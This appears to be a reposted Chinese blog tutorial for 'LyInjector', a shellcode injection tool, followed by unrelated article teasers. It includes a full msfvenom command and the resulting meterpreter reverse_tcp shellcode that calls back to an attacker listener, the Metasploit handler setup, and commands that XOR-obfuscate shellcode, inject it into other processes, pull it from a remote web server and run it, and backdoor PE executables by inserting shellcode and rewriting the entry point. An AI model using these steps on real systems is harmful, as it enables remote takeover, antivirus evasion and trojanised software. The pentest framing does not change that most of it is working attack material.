ShellCode 格式化代码注入工具

一款基于C/C++开发的应用层汇编代码注入工具,可实现向特定进程内注入动态链接库模块或注入ShellCode汇编指令集,还可以实现第三方进程的汇编级Call调用,通常被用于协助渗透人员完成内存注入,同时也可用于对特定ShellCode汇编代码进行测试,以便更好地了解ShellCode的稳定及可用性。本次分享工具源代码及使用方法,读者可根据自己的需要参考学习,并以此来更好的理解内存注入技术。

image

生成ShellCode

本工具仅提供代码及动态链接库的注入功能,多数情况下需要自行编写所需ShellCode代码,或直接配合Metasploit等安全工具使用,通过Metasploit工具生成ShellCode的后,即可使用本工具对ShellCode进行编码、压缩与格式化、注入等。同时,本工具还提供了多种实用小功能,如显示可注入进程、获取函数基址、新增节区等,可以帮助用户更加便捷地进行ShellCode测试操作。

以生成32位攻击载荷为例,在kali系统中,通过使用msfvenom命令可以生成特定的载荷,在我们如下所示的命令中使用-a用于指定生成载荷平台为32位,使用-p指定使用reverse_tcp反弹链接,使用lhost指定本机IP地址,使用lport指定本机端口,最后-f指定生成的ShellCode为C语言格式。

──(lyshark㉿kali)-[~]
└─$ sudo msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x0a\x68\x02\x00"
"\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

此外,后台侦听器的配置应使用与攻击载荷相对应的模块,在如下案例中通过运行msfconsole进入控制台终端,使用use exploit/multi/handler指定句柄,使用set payload指定攻击载荷为reverse_tcp,使用set lhostset lport指定本端地址及端口信息,最后调用exploit -j来将侦听器挂入后台,此时当ShellCode被运行后将会反弹上线。

──(lyshark㉿kali)-[~]
└─$ sudo msfconsole
[+] Starting database
[i] The database appears to be already configured, skipping initialization
Metasploit tip: Start commands with a space to avoid saving them to history____________[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a,        |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a,     |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%|       `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%][% .--------..-----.|  |_ .---.-.|       .,a$%|.-----.|  |.-----.|__||  |_ %%][% |        ||  -__||   _||  _  ||  ,,aS$""`  ||  _  ||  ||  _  ||  ||   _|%%][% |__|__|__||_____||____||___._||%$P"`       ||   __||__||_____||__||____|%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a,       ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%        `"$   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]=[ metasploit v6.4.9-dev                           ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post       ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]Metasploit Documentation: https://docs.metasploit.com/msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.10
lhost => 192.168.1.10                                                                                       
msf6 exploit(multi/handler) > set lport 9999                                                                 
lport => 9999                                                                                               
msf6 exploit(multi/handler) > exploit -j
[*] Started reverse TCP handler on 0.0.0.0:9999                                                             
msf6 exploit(multi/handler) > 

通用功能

Show: 该功能无需传入任何参数,用于列出当前系统中所有进程信息,这包括了进程的PID进程位数以及进程名称等,如下输出信息所示;

C:\> LyInjector Show
[*] PID:     4 | 位数:x64 | 进程名:System
[*] PID:   104 | 位数:x64 | 进程名:Registry
[*] PID:   444 | 位数:x64 | 进程名:smss.exe
[*] PID:   592 | 位数:x64 | 进程名:csrss.exe
[*] PID:   684 | 位数:x64 | 进程名:csrss.exe
[*] PID:   708 | 位数:x64 | 进程名:wininit.exe
[*] PID:   748 | 位数:x64 | 进程名:winlogon.exe
[*] PID:   828 | 位数:x64 | 进程名:services.exe
[*] PID:   844 | 位数:x64 | 进程名:lsass.exe
[*] PID:   964 | 位数:x64 | 进程名:svchost.exe
[*] PID:   988 | 位数:x64 | 进程名:svchost.exe
[*] PID:  1016 | 位数:x64 | 进程名:fontdrvhost.exe
[*] PID:  1012 | 位数:x64 | 进程名:fontdrvhost.exe
[*] PID:  3568 | 位数:x32 | 进程名:wps.exe
[*] PID:  1084 | 位数:x32 | 进程名:wps.exe
[*] PID:  8408 | 位数:x64 | 进程名:cmd.exe
[*] PID:  4904 | 位数:x64 | 进程名:conhost.exe
[*] PID:  3032 | 位数:x64 | 进程名:audiodg.exe
[*] PID: 11072 | 位数:x64 | 进程名:LyInjector.exe

ShowDll: 该功能接收一个参数,传递--proc用于指定一个正在运行的进程,可输出该进程所加载的所有DLL动态链接库名称及加载基址,如下输出信息所示;

C:\> LyInjector ShowDll --proc lyshark.exe
[+] DLL名称:           USER32.dll | DLL基地址: 0x0000000076500000
[+] DLL名称:         MSVCR120.dll | DLL基地址: 0x0000000057B80000
[+] DLL名称:         KERNEL32.dll | DLL基地址: 0x0000000077050000

FreeDll: 该功能接受两个参数,通过传递--proc指定一个正在运行的进程,通过--dll指定用于卸载的模块名,执行后可将特定模块从进程中卸载掉,如下输出信息所示;

C:\> LyInjector FreeDll --proc lyshark.exe --dll MSVCR120D.dll
[+] 模块卸载状态: 1

GetFuncAddr: 该功能接收三个参数,传递--proc指定一个正在运行的进程,传递--dll指定一个动态链接库,传递--func指定函数名,如下输出信息所示;

C:\> LyInjector GetFuncAddr --proc lyshark.exe --dll user32.dll --func MessageBoxA
[+] 函数地址: 0x76581f70
C:\>
C:\> LyInjector GetFuncAddr --proc lyshark.exe --dll user32.dll --func MessageBoxW
[+] 函数地址: 0x765823a0

Format: 该功能接收一个参数,传递--path指定一个文本文件,可将该字节数组中的文本压缩为一行输出,如下输出信息所示;

C:\> more d://shellcode.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector Format --path d://shellcode.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

FormatFile: 该功能接收两个参数,传递--path用于指定格式化之前的字节数组文本,传递--output用于指定格式化后输出位置,如下输出信息所示;

C:\> more d://shellcode.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector FormatFile --path d://shellcode.txt --output d://output.txt
[+] 已储存 => d://output.txt
C:\>
C:\> more d://output.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

Xor: 该功能接收两个参数,传递--path用于指定需要异或处理的文本文件,传递--passwd用于指定异或加密密码,用于将文本中压缩后的字节数组进行异或处理并输出,如下输出信息所示;

C:\> more d://output.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector Xor --path d://output.txt --passwd lyshark
% &{{%ssssssuspr'q{z&vuw{!vqps{!vqs {!vqrws%!tw"qupr%%{!tqq{pr s" p urt sqq qs r %s'sr twztv&%vq{!vqrsvt{!wqp sr's{!wst{{v stww sr'svs{!v{qssr'p{!w{r{{v ztwp wz{!pw{!pr

Xchg: 该功能接收两个参数,传递--input用于指定交换之前的文本文件,传递--output用于指定需要交换之后的文本文件,用于将压缩后的字符串转为字节数组格式,如下输出信息所示;

C:\> more d://output.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector Xchg --input d://output.txt --output d://array.txt
[+] 字节已转为双字节
[*] 已写出ShellCode列表 => d://array.txt
C:\>
C:\> more d://array.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31";

XorArray: 该功能接收两个参数,传递--path用于指定需要异或的文本文件,传递--passwd用于指定一个密钥,用于将一个字节数组进行异或处理并输出,如下输出信息所示;

C:\> more d://shellcode.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector XorArray --path d://shellcode.txt --passwd lyshark
"\xbf\xab\xcc\x43\x43\x43\x23\x72\x91\xca\xa6\x27\xc8\x11\x73\xc8"
"\x11\x4f\xc8\x11\x57\x4c\xf4\x9\x65\x72\xbc\xc8\x31\x6b\x72"
"\x83\xef\x7f\x22\x3f\x41\x6f\x63\x82\x8c\x4e\x42\x84\xa\x36"
"\xac\x11\xc8\x11\x53\x14\xc8\x1\x7f\x42\x93\xc8\x3\x3b\xc6"
"\x83\x37\xf\x42\x93\x13\xc8\x1b\x63\x42\x90\xc8\xb\x5b\xc6"
"\x8a\x37\x7f\xa\xc8\x77\xc8\x72";

注入功能

InjectDLL: 该功能接收两个参数,传递--proc指定需要注入的进程文件名,传递--dll指定需要注入的动态链接库文件路径,用于将一个DLL文件注入到对应的进程中,如下输出信息所示;

C:\> LyInjector InjectDLL --proc lyshark.exe --dll d://hook.dll

InjectSelfShell: 该功能接收一个参数,传递--shellcode指定要注入的字符串,用于将指定的一段ShellCode字符串注入到自身进程内并执行,如下输出信息所示;

C:\> LyInjector Format --path d://shellcode.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector InjectSelfShell --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

InjectArrayByte: 该功能接收一个参数,传递--path指定要接收的字节数组文件路径,用于将一段未被格式化的ShellCode数组注入到自身进程内并执行,如下输出信息所示;

C:\> more d://array.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector InjectArrayByte --path d://array.txt

FileInjectShell: 该功能接收一个参数,传递--path指定要接受的字节数组文件路径,用于将一段已被格式化的ShellCode注入到自身进程内并执行,如下输出信息所示;

C:\> more d://output_shellcode.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector FileInjectShell --path d://output_shellcode.txt

InjectWebShell: 该功能接收两个参数,传递--address指定要接受的对端Web服务地址,传递--payload指定服务器上的文本名,用于将一段已被格式化且存储在本地文本的ShellCode置入内存并运行,如下输出信息所示;

C:\> more shellcode.raw
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector InjectWebShell --address 192.168.1.100 --payload shellcode.raw

EncodeInFile: 该功能接收两个参数,传递--path指定一个加密后的文本路径,传递--passwd指定解密密码,用于直接注入加密后的ShellCode载荷到自身进程内,如下输出信息所示;

C:\> LyInjector Xor --path d://output_shellcode.txt --passwd lyshark
% &{{%ssssssuspr'quw{!vqps{z&v{!vqs {!vqrw{!tqq{pr%%s%!tw"qupr s" p urt sqq qs r %s'
C:\>
C:\> LyInjector EncodeInFile --path d://xor_shellcode.txt --passwd lyshark

InjectProcShell: 该功能接收两个参数,传递--pid用于指定需要注入的进程ID,传递--shellcode用于指定需要注入的ShellCode字符串,用于直接将一段ShellCode注入到特定进程中执行,如下输出信息所示;

C:\> LyInjector InjectProcShell --pid 4480 --shellcode fce88f0000006031d2648b523089e...

EncodePidInFile: 该功能接收三个参数,传递--pid用于指定需要注入的进程ID,传递--path用于指定待注入的加密ShellCode代码,传递--passwd用于指定解密密码,用于将一段加密后的ShellCode注入到目标内存中,如下输出信息所示;

C:\> LyInjector EncodePidInFile --pid 4480 --path d://shellcode.txt --passwd lyshark

AddSection: 该功能接收三个参数,传递--path用于指定要新增节的程序路径,传递--section用于指定要创建的节名称,传递--size用于指定创建的节的长度,用于在指定PE文件中创建一个新的节,如下输出信息所示;

C:\> LyInjector AddSection --path d://lyshark.exe --section .hack --size 1024
[-] 当前DOS头: 0x18B70000
[-] 当前NT头: 0x0000000018B70100

InsertShellCode: 该功能接收三个参数,传递--path用于指定要插入程序路径,传递--shellcode用于指定要插入的ShellCode文本文件,传递--offset用于指定要插入的文件偏移位置,用于将ShellCode插入到PE文件中的指定位置,如下输出信息所示;

C:\> more d://array.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector InsertShellCode --path d://lyshark.exe --shellcode d://array.txt --offset 1024
0xFC 0xE8 0x8F 0x00 0x00 0x00 0x60 0x31 0xD2 0x89 0xE5 0x64 0x8B 0x52 0x30 0x8B
0x52 0x0C 0x8B 0x52 0x14 0x0F 0xB7 0x4A 0x26 0x31 0xFF 0x8B 0x72 0x28 0x31 0xC0
0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0x49 0x75 0xEF 0x52
0x8B 0x52 0x10 0x57 0x8B 0x42 0x3C 0x01 0xD0 0x8B 0x40 0x78 0x85 0xC0 0x74 0x4C
0x01 0xD0 0x50 0x8B 0x58 0x20 0x01 0xD3 0x8B 0x48 0x18 0x85 0xC9 0x74 0x3C 0x49
0x8B 0x34 0x8B 0x31
[*] 已注入 ShellCode 到PE文件
[+] 注入起始FOA => 0x00000400 <DEC = 1024 > 注入结束FOA => 0x00000454 <DEC = 1108 >

RepairShellOep: 该功能接收三个参数,传递--path用于指定要插入程序路径,传递--start_offset用于指定ShellCode的起始文件偏移,传递--end_offset用于指定结束文件偏移,用于在ShellCode末尾增加跳转回原始地址处的JMP指令,如下输出信息所示;

C:\> LyInjector RepairShellOep --path d://lyshark.exe --start_offset 1024 --end_offset 1108
[+] 获取原OEP => 0x0000358B
[+] 在 ShellCode 尾部增加JMP跳转指令: 0x90 0x90 0x90 0x90 0xB8 0x8B 0x35 0x00 0x00 0xFF 0xE0 0x00 0x00 0x00 0x00
[*] 已增加跳转到 0x00000454 处的代码段
[+] 修正新入口地址: 0x00002400

SetSigFlag: 该功能接收一个参数,传递--path用于指定要设置标志的程序路径,用于在被插入ShellCode的程序上打标记,如下输出信息所示;

C:\> LyInjector SetSigFlag --path d://lyshark.exe
[+] 文件插入标记
C:\>
C:\> LyInjector SetSigFlag --path d://lyshark.exe
[-] 文件已被插入标记

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/58316.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu系统安装软件

在Linux系统中有四种软件安装方式&#xff1a;rpm、yum、apt、编译安装 编译安装 编译安装只有一个源码包&#xff0c;源码包是由一大堆源代码程序组成的&#xff0c;是由程序员按照特定格式和语法编写好了&#xff0c;现成的安装包 程序&#xff1a;未执行的代码 进程&#…

关于前端div里面内嵌滚动条的使用

怀旧网个人博客网站&#xff1a;怀旧网&#xff0c;博客详情&#xff1a;关于前端div里面内嵌滚动条的使用 使用方法 需要完成这个效果&#xff0c;只需要在div里面加上一个属性就可以。设置css属性&#xff1a;overflow: auto; 就可以实现-代码如下&#xff1a; <div id…

`a = a + b` 与 `a += b` 的区别

在 Java 中&#xff0c;a a b 和 a b 都用于将 b 的值加到 a 上&#xff0c;但它们之间存在一些重要的区别&#xff0c;尤其是在类型转换和操作行为方面。 使用 操作符时&#xff0c;Java 会自动进行隐式类型转换&#xff0c;而使用 则不会。这意味着在 a b 的情况下&am…

雷池社区版compose配置文件解析-mgt

在现代网络安全中&#xff0c;选择合适的 Web 应用防火墙至关重要。雷池&#xff08;SafeLine&#xff09;社区版免费切好用。为网站提供全面的保护&#xff0c;帮助网站抵御各种网络攻击。 compose.yml 文件是 Docker Compose 的核心文件&#xff0c;用于定义和管理多个 Dock…

自动驾驶-传感器简述

自动驾驶车辆上的传感器类型包含激光雷达、毫米波雷达、相机、imu、rtk、超声波雷达等&#xff0c;这些传感器用来接收外部世界多姿多彩的信号&#xff0c;根据接收到的信号&#xff0c;车载大脑对信号进行处理&#xff0c;那信号的准确程度就尤为重要。 本文将各个传感器的特性…

MNIST 数据集的CSV的格式的使用(SNN)

1&#xff1a; 利用spikingjelly 实现MNIST 数据集分类 设置仿真时间T10 import time import torch import torch.nn as nn import torch.nn.functional as F from torch.utils.data import DataLoader, TensorDataset from spikingjelly.activation_based import neuron, en…

java常用数据结构及其接口

Java 提供了丰富的集合框架及其数据结构&#xff0c;每个结构和接口都有独特的功能。以下是一些常用的数据结构和接口&#xff0c;以及它们的关键方法&#xff1a; ### 接口及其实现 1. **List 接口** - 实现类&#xff1a;ArrayList、LinkedList、Vector - 关键方法&a…

git合并相关操作详解

在使用Git进行分支管理时,合并(merge)操作是非常常见的。下面是Git合并相关的详细步骤和一些常见的场景及注意事项。 一、 基本合并操作 假设我们有两个分支:main 和 feature,希望将 feature 合并到 main 上。 切换到目标分支 首先需要切换到你想合并到的分支。例如,切…

Lucas带你手撕机器学习——岭回归

岭回归&#xff08;Ridge Regression&#xff09; 一、背景与引入 在进行线性回归分析时&#xff0c;我们常常面临多重共线性的问题。多重共线性指的是自变量之间高度相关&#xff0c;这会导致回归系数的不稳定性&#xff0c;使得模型的预测能力降低。传统的线性回归通过最小…

模块化主动隔振系统市场规模:2023年全球市场规模大约为220.54百万美元

模块化主动隔振系统是一种用于精密设备和实验装置的隔振解决方案&#xff0c;通过主动控制技术消除振动干扰&#xff0c;提供稳定的环境。目前&#xff0c;随着微纳制造和精密测量技术的发展&#xff0c;对隔振系统的要求越来越高。模块化设计使得系统能够灵活适应不同负载和工…

STM32 第3章 如何用串口下载程序

时间:2024.10.28 一、学习内容 1、安装USB转串口驱动 1.1串口下载连接示意图 1、USB转串口模块在开发板上是一个独立的模块,可通过调帽与其他串口连接,USART1/2/3/4/5 2、只有USART1才具有串口下载的功能。 3、CH340是电平转换芯片,将电脑端输出的USB电平和单片机输…

移除字符串中空格_Java实现

package com.leetcode;/*** 移除字符串中空格*/ public class RemoveSpaceFromStr {public static String removeWhiteSpaceFromStr(String input){StringBuilder outputnew StringBuilder();char[] charsinput.toCharArray();for (char c : chars) {if(!Character.isWhitespac…

1.3 面向对象 C++面试问题

1.3.1 简述一下什么是面向对象,面向对象与面向过程的区别 什么是面向对象 面向对象&#xff08;Object-Oriented Programming&#xff0c;OOP&#xff09;是一种编程范式&#xff0c;它通过将现实世界中的实体抽象为“对象”来组织代码。面向对象编程关注对象及其交互&#x…

国产游戏的崛起与挑战:技术创新如何驱动未来发展

近年来&#xff0c;中国的游戏行业如星火燎原&#xff0c;国产游戏不仅在国内市场站稳了脚跟&#xff0c;更在国际市场上逐渐展露锋芒。从《原神》到《永劫无间》&#xff0c;这些作品以其精美的画面、复杂的物理引擎和智能化的AI技术赢得了广泛的赞誉。尽管如此&#xff0c;面…

STM32的hal库中,后缀带ex和不带的有什么区别

在STM32的HAL&#xff08;硬件抽象层&#xff09;库中&#xff0c;后缀带“ex”和不带“ex”的文件及其包含的内容存在显著的区别。这些区别主要体现在功能扩展性、使用场景以及API的层次上。 一、功能扩展性 不带“ex”后缀的文件&#xff1a; 这些文件通常包含标准的、核心…

Java中的访问修饰符详解

目录 1. public 2. protected 3. Default (无修饰符) 4. private 在Java编程语言中&#xff0c;访问修饰符是非常重要的一部分&#xff0c;它决定了类、变量、方法和构造器的访问级别。Java中主要有四种访问修饰符&#xff1a;public、protected、default&#xff08;没有修…

行业首发|美格智能创新推出5G+Wi-Fi 7智能终端解决方案,端侧AI助力数智升维

在数字化时代的生产生活过程中&#xff0c;特殊场景下的通信需求愈发重要。高速、灵活、稳定的通信保障能够进一步提升生产生活的效率。随着5G网络的高速发展&#xff0c;一方面&#xff0c;其凭借低时延、高带宽、高可靠性和大规模连接的特性让移动终端的网络连接实现跨越式升…

WebSocket和HTTP请求的区别

1. 连接方式 HTTP请求&#xff1a;基于“请求-响应”模式。每次通信都要重新建立连接&#xff0c;客户端发送请求后服务器返回响应&#xff0c;连接就断开了。这种模式通常适合不频繁更新的数据&#xff0c;如静态页面的加载。WebSocket&#xff1a;支持长连接&#xff0c;连接…

Python是什么

Python在编程语言中的地位 特点使用看法 特点 优点: 语法语义简单,容易上手功能强大,应用广泛生态丰富,具有海量的成熟第三方库方便调用C/C编写的代码 缺点: 执行效率比较弱对多核并发程序不友好动态类型系统对大型项目不友好 使用 扬长避短 看法 我们要把Python当成一…

论文解析八: GAN:Generative Adversarial Nets(生成对抗网络)

目录 1.GAN&#xff1a;Generative Adversarial Nets&#xff08;生成对抗网络&#xff09;1、标题 作者2、摘要 Abstract3、导言 IntroductionGAN的介绍 4、相关工作 Related work5、模型 Adversarial nets总结 6.理论计算 Theoretical Results具体算法公式全局优化 Global O…